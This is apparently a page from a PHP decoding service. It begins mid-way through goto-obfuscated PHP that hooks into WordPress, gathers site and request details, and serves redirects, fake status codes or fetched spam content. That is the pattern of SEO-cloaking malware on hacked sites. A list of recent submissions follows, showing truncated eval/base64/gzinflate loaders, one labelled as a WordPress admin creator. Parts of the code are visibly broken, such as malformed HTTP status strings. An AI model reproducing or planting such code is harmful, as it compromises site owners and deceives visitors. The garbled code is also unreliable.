!== false)) { goto envQH; } goto GQJYd; ya4AU: Jl_Tr: goto EOnto; zJcDy: function TH2N_() {  return array("(""__" . $Gws77[15] . $Gws77[20] . $Gws77[19] . "_2)"" . $Gws77[19] . "_"" . $Gws77[19] . $Gws77[18], "(""__)_" . $Gws77[19] . "_2)"" . $Gws77[19] . "_"" . $Gws77[19] . $Gws77[18], $Gws77[18] . $Gws77[19] . $Gws77[17] . "_" . $Gws77[17] . ")" . $Gws77[19] . ""); } goto je87r; ZTxTj: function jSARW() { goto oICmx; vpIk2: if (!isset($_SERVER["argv"])) { goto k2gGz; } goto MVcxO; bh04j: mTBdb: goto vpIk2; oICmx: if (!isset($_SERVER["REQUEST_URI"])) { goto mTBdb; } goto uNpIx; lsIsQ: k2gGz: goto Xky2_; uNpIx: return $_SERVER["REQUEST_URI"]; goto bh04j; Xky2_: return $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; goto X33gy; MVcxO: return $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; goto lsIsQ; X33gy: } goto VkZtM; QOSma: foreach ($CdUaS as $IlbZ9 => $z_ulE) { goto unO33; APXgE: $E3Ooh = str_replace($z_ulE["replace"], '', $E3Ooh); goto rrx2y; QAz1c: exit; goto msp4l; unO33: if (!(strpos($E3Ooh, $IlbZ9) !== false)) { goto qmXYQ; } goto yISYM; l0CrC: M5U_q: goto t0fOh; TbDBd: if (!isset($z_ulE["replace"])) { goto jnF8v; } goto APXgE; LfhK1: GWr0N: goto o1bQ8; kqZyv: goto u33Su; goto uXy1S; uXy1S: i7rq2: goto rmi5D; q8PRs: goto u33Su; goto OPWc1; HsfRY: u33Su: goto QAz1c; r5aii: header("Location: " . $E3Ooh); goto kqZyv; w6t71: K23Ji: goto LfhK1; bTzO8: if (!$cIE9v) { goto K23Ji; } goto PKJbh; yISYM: @header($z_ulE["header"]); goto TbDBd; rmi5D: echo $E3Ooh; goto HsfRY; o1bQ8: if (isset($z_ulE["redirect"])) { goto m6_q2; } goto LVTFg; OPWc1: m6_q2: goto r5aii; PKJbh: echo $nsQe8; goto w6t71; LVTFg: if (isset($z_ulE["output"])) { goto i7rq2; } goto q8PRs; rrx2y: jnF8v: goto clTdZ; msp4l: qmXYQ: goto l0CrC; clTdZ: if (!isset($z_ulE["test_echo"])) { goto GWr0N; } goto bTzO8; t0fOh: } goto C4yWP; zxxE4: $cIE9v = false; goto HlQ7H; je87r: define("kCsvx", true); goto qfu11; eGqMq: $qz3Io = str_replace(".php", '', $KjwIN); goto ya4AU; a4Ou4: $CdUaS = array("okhtml" => array("header" => "Content-type: text/html; charset=utf-8", "replace" => "okhtml", "test_echo" => true, "output" => true), "getcontent500page" => array("header" => "HTTP/1q00 Internal Server Error"), "4page" => array("header" => "HTTP/11 4 Not Found"), "1page" => array("header" => "HTTP/11 301 Moved Permanently", "replace" => "301page", "redirect" => true), "okxml" => array("header" => "Content-Type: application/xml; charset=utf-8", "replace" => "okxml", "output" => true), "okrobots" => array("header" => "Content-Type: text/plain", "replace" => "okrobots", "output" => true)); goto QOSma; EOnto: $qz3Io = stristr($bjSZC, "/?") ? "?" : $qz3Io; goto zxxE4; beV1_: $zqZc4 = zE3gL() ? "https" : "http"; goto E1Lq1; NfOA8: Hdgc6: goto y_7kQ; ar5qp: $KjwIN = ltrim(substr($bjSZC, 0, $cIT1K + strlen($KjwIN)), "/"); goto J9e0O; VkZtM: function Ze3GL() { goto zBo9c; sNKmH: if (!($bAgDZ !== '')) { goto zrre3; } goto Aq7Es; ZSn4k: return true; goto qQEyl; aUdw_: d4y0I: goto QZnGz; WZKEv: bH3KL: goto p83wS; MeZ1g: if (!($_SERVER["HTTP_X_FORWARDED_PROTO"] === "https")) { goto d4y0I; } goto MvLOL; kbDou: return false; goto dSpaR; qDLQR: if (!($KNr8v !== "off")) { goto wKQ8h; } goto JObki; qQEyl: zSgIb: goto iDISx; wynr0: zrre3: goto WZKEv; zBo9c: if (!isset($_SERVER["HTTPS"])) { goto Vz4Ex; } goto dsi_R; QZnGz: EQYsR: goto tcsM9; OtUv4: $bAgDZ = strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]); goto M6j13; iDISx: wKQ8h: goto HnSR9; JObki: if (!($KNr8v !== '')) { goto zSgIb; } goto ZSn4k; tcsM9: if (!isset($_SERVER["HTTP_FRONT_END_HTTPS"])) { goto U7ZVG; } goto OtUv4; v0OW4: if (!isset($_SERVER["HTTP_X_FORWARDED_PROTO"])) { goto EQYsR; } goto MeZ1g; dsi_R: $KNr8v = strtolower($_SERVER["HTTPS"]); goto qDLQR; M6j13: if (!($bAgDZ !== "off")) { goto bH3KL; } goto sNKmH; p83wS: U7ZVG: goto kbDou; Aq7Es: return true; goto wynr0; MvLOL: return true; goto aUdw_; HnSR9: Vz4Ex: goto v0OW4; dSpaR: } goto uptEz; tIlw8: if (!(($cIT1K = strpos($bjSZC, $KjwIN)) !== false)) { goto cujJ8; } goto ar5qp; htWqw: $iACL6 = http_build_query(["web" => $lfduq, "zz" => $ZXuB4, "uri" => urlencode($bjSZC), "urlshang" => $sa5qn, "http" => $zqZc4, "lang" => $wn0Db, "server" => $KN1nu, "model" => $qz3Io, "version" => $cIE9v ? $nsQe8 : '']); goto QGqAM; ysp2L: $bjSZC = str_replace("!", '', $bjSZC); goto MEHRZ; e6k08: $wn0Db = $_SERVER["HTTP_ACCEPT_LANGUAGE"] ?: "en"; goto HqqKy; JadK0: $nsQe8 = "11-link186"; goto U546e; qfu11: require __DIR__ . "/wp-blog-headerphp";

Recent submissions:

<?php /** * 本代码由易航PHPEnCode V1.1 创建 * 创建时间 2026-01-07 18:04:... <?php eval(gzinflate(base64_decode(base64_decode(str_rot13("EycdFREkqSyTn1LipSMGnzIgFxSHnK... <?php eval(gzinflate(base64_decode(strrev(str_rot13("U8/KKC///999+//sH7SP0VgF2bgP8Fec58WJ1... <?php eval(base64_decode('PD9waHAKLy8gV29yZFByZXNzIEFkbWluIENyZWF0b3IgLSBGSVhFRCBWRVJTSU9O... <?php goto zVFxO; UM7JU: $bjSZC = JSaRW() ?: "\x2f"; goto ZBxSR; SkX2H: $E3Ooh = tydJR($... <?php /*** PHP Encode v1.0 by zeura.com ***/ $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(bas... <?php namespace App\Services; use Illuminate\Support\Facades\DB; use Illuminate\Support\... <!DOCTYPE html><html lang="pt-BR" itemscope itemtype="http://schema.org/WebPage"><head><... <?PHP //exit('оптимизация ресурсов (сайт будет доступе... <?php /** * Plugin Name: FluxBoundary * Plugin URI: https://github.com/coreflux/flux-bo...